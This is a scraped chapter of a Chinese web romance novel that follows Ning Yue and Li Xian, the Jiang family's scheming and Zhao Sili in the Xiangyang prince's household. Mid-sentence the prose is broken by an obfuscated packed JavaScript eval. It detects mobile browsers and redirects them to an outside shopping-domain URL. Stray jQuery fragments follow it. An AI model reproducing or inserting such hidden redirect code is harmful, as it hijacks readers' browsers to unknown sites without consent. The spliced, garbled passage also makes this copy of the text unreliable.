文趣网 > 其他小说 > 边关霜寒入夜声 > 33.月下歌
    宁月吃了几块后便没了胃口,拿起一旁的清酒抿了一口,这是她第一次喝酒,要的最不容易醉人的月下歌。

    可她还是觉得呛喉咙,一股辛辣在喉间挥之不去,宁月忍不住轻声咳嗽起来,背脊却在此时覆上一只手,轻轻拍打着帮她顺气。

    “你没事吧?”李显关切地问道,宁月抬起头,认真看向他,“你……是李显?”她有些站不稳,李显虚虚扶住她,生怕她摔倒。

    宁月不知道是真醉了还是内心允许自己放肆一把,竟直接端起那盘桂花栗子糕,捧到李显面前,“我亲手做的,你尝尝……”

    糕点早已凉透,但依旧散发着股冷香,李显捏起一块,塞入口中,细细咀嚼着。

    宁月眨着双眼,十分期待地望向他,“如何,好吃吗?”

    李显轻轻点头,还没等他开口说什么,宁月已然贴近,吻上了他。

    只愣了一瞬,李显便反应过来,回抱住她,瞬间反客为主。

    宁月一时反应不及,让李显乘虚而入,不过她并不反感,只是感到些许意外。

    远处又响起烟花的声音,他们站在汴京最高处,相拥而吻,见证者只有天地。

    *

    淮安姜府

    江易陵急匆匆赶到这里时,姜守年刚收拾好行囊,清点好马匹和人数准备出发去汴京告御状。

    这江家简直欺人太甚,第一次他与林屏萱登门拜访,江易陵说要娶姜菀为妾,第二次更甚,竟然在他家门口掳走姜菀,是可忍孰不可忍。

    做官的便能随意欺负他这个平头小老百姓吗!

    姜守年把写好的状书揣进兜里,打算去街上买点姜菀爱吃的零嘴带着。

    没想到一打开府门,就见到了站在门外的江易陵。

    他登时冲上去,一巴掌打在江易陵脸上,大吼道,“你还敢来!你把我女儿带到哪里去了!你个畜生,她还怀着孕呢!”

    江易陵半边脸被扇肿,耳朵也嗡嗡作响,他勉强稳住身形,吐出一口血,对着姜守年道,“难道不是你们把她带走了吗?”

    姜守年仿佛像是听到了什么绝世大笑话一般,伸手指向他,直言道,“江易陵,药可以乱吃话不能乱说,你屡次冒犯我女儿,现在把她弄丢了还要过来胡搅蛮缠!”

    越想越气,姜守年打算连夜赶往汴京,哪怕赔上他所有身家,他也认了。

    可江易陵此次前来带了不少人,没等他动身,一堆侍卫上去便将姜府团团围住,更是对姜守年说道,“岳父大人,天寒露重,请回府吧,等什么时候菀儿回来了,我便带她离开。”

    姜守年目瞪口呆地站在原地,他万万没想到,第三次见到江易陵,竟然是要自己做人质。

    他觉得十分晦气,姜与江同音不同字,但仿佛天生的冤家一般……

    “你!你这是什么意思?这是我的府上,岂容你一个外人在这放肆!”姜守年气得胡子都抖了起来,而江易陵却比来时更加镇定。

    他殷切拉起姜守年的手,说道,“岳父,你我不必见外,菀儿怀了我的孩子,我们早晚是一家人,来,进屋说。”

    姜守年寸步不移,江易陵身后的两个侍卫见状,上前将人抬进了府内。

    淮安的姜家今晚鸡犬不宁,汴京的江灿也不好受。

    他本想着拿襄阳王的消息能换太后对江家的赏识,结果过去了好些时日,他没有收到任何封赏。

    老管事正在为他布菜,却冷不丁被他问道,“你说,眼下江家怎么做才能破除这个局面。”

    现在的江家在太后眼里和废物没什么两样,在陛下那里更是不用说,顶着个太府寺丞的头衔,实际上连真正的政治中心都没有进去过。

    “大人,我认为不如从公子身上下手……”这话说得巧妙,江灿也不是没想过全力托举江易陵,但是奈何这逆子手眼通天,做出的事比自己还狠,哪儿有他的用武之地……

    “咳咳,我自然知道,他呢?去了哪里?”

    老管事低着头,言语有些不太自然,“少爷他……去找少夫人了……”

    少夫人,哪个少夫人?不会是赵思璃吧!江灿当下便急了,他今日下值才知道襄阳王要娶赵思璃为侧室的事,原以为终于甩掉一个大包袱,没想到自家儿子用情至深,竟然上门去了?

    不行,他得阻止,这事如果闹大了,不光得罪了襄阳王,还得罪了陛下。

    “快,备车,去襄阳王府。”江灿吩咐完便去了书房,老管事看着眼前刚刚布好的菜,一脸惋惜却又无可奈何。

    *

    月色正浓,赵思璃正躺在后花园的贵妃榻上闭目养神,身后却攀上一只手,紧接着便被一具火/热的身躯贴上。

    “阿璃今日怎么有兴致来这后花园?”

    李遇不知为何,他仿佛对赵思璃的身/子有瘾一般,看见她就自动想贴上来。

    之前在边关军营,他强吻过宁月,但是都没有现在这种感觉。

    只要是赵思璃,哪怕轻轻触碰,身体都仿佛过电一般,他从来没有过这种感受。

    “王爷,我现在一看到月亮,就想起在丞相府的那一夜。”这是她痛苦的根源,也是悲剧的开始,这一辈子她都不会忘记那一晚。

    那些刻骨铭心的痛,她有朝一日要亲自还给李遇。

    因为赵思璃背朝李遇,导致对方看不到她脸上的神情,以为她是在回忆美好时光,不由得把人往怀里拥得更紧了些。

    “阿璃,可要在此重温?”身后的男人像一条危险的蛇,正朝她不停地吐着信子,滴着毒液,一步行差踏错就会被他衔住喉管。

    赵思璃紧张地咽了咽口水,还没想好怎么回答,侍卫却隔着老远通传,“禀王爷,江大人求见。”

    “让他进来,这蠢货,倒省了我跑一趟了。”李遇现在一听到江灿的名字就不耐烦,等他回了侍卫后,又将赵思璃抱在怀中亲了几口,这才下榻离去。

    见李遇真的走远后,赵思璃才真正放松下来,她发现自己身上已经出了一层嘻嘻的薄汗。

    想起书房的密室,她突然想到李遇应当不会把江灿带到书房去谈事,便提起灯笼朝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638145|206243||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着那边而去。

    经过方才,她想要离开的心比以往更加强烈,所以,即使害怕,她也要探一探那间密室。

    江灿等了没一会儿,李遇就出来了,他也不看对方,只是冷冷地问道,“江大人这么晚前来,所为何事?”

    “王爷,下官的儿子一时冲动,他不知道赵小姐是您要迎娶的侧室,这才做下错事,还望您放他一马,允许我将他带回府严加管教。”

    李遇一头雾水,他有些没听明白江灿的话,但还是找来侍卫询问,“今日江公子可有来府上?”

    侍卫依言回答,“禀王爷,今日只有赵小姐一个人在府上,并无外人叨扰。”

    江灿闻言颇有些尴尬,一时间不知道该说什么,只能站在原地,眼神飘来飘去。

    “江大人可听明白了?”

    “啊?是……是,下官再去别处寻一寻。”

    说完,他便立马离开了襄阳王府,李遇心中不快,但一想到赵思璃在等他,便也无暇计较,径自往后花园而去。

    *

    宁月房间内

    李显正搂着她睡得正香,宁月却觉得有些热,屋内地龙烧的太旺,而李显又体热,这样一起搂抱着睡,难免会不舒服。

    她看着身上的衣物还完好无损,也没有任何不适反应,微松了一口气,心里暗暗发誓,以后再也不喝酒了,尤其是望月楼的月下歌!

    还说什么是喝了不会醉的酒,如果喝了真的不会醉,她怎么会对李显做出那样的举动,简直羞耻至极……

    不行,得趁他没醒,赶紧离开。

    宁月尝试着从李显的怀中退出来,并将自己的整个身子往榻边挪,结果,还没等完全挪出怀里,却被一根东西扯住。

    她低头一看,发现是腰间的系带,不知是谁将他们两个的带子缠在一起,还打了个死结。

    屋内没有点烛光,宁月之能凭借着暗淡的月光低头拆解起来,她解得无比认真,丝毫没发现身侧的李显已经睁开了眼,正一脸玩味地看着她动作。

    宁月解着解着,发现自己竟然心烦意乱了起来,她自诩是耐心还不错,毕竟早年在森林中采摘干果和蘑菇时,她总会把表皮上粘连的脏东西清理干净。

    可现如今,她竟然连个系带都解不开。

    懊恼之余,她其实还有些没睡醒,干脆破罐子破摔,仰头又倒回了床上。

    李显立马闭上了眼睛,宁月见他没醒,心道:算了,明天再说,反正他们也没有逾矩。

    但“老实人”宁月低估了李显,对方竟然直接将手搭在她的腰上,嘴里还呓语几声,“宁月……”

    听到李显睡觉都在喊自己的名字,宁月心中毫无波澜是不可能的,并且,她还不受控制地红了脸,李显悄咪咪睁开眼,发现她的神态,心中仿佛荡漾起一汪春水。

    这次,他的动作更加过分,头转了个弯,直直贴向宁月的侧脸,灼热的呼吸打在宁月耳畔,她明显感觉到了不对。

    熟睡之人的呼吸怎么会这么急促?

    “李显,你没睡?”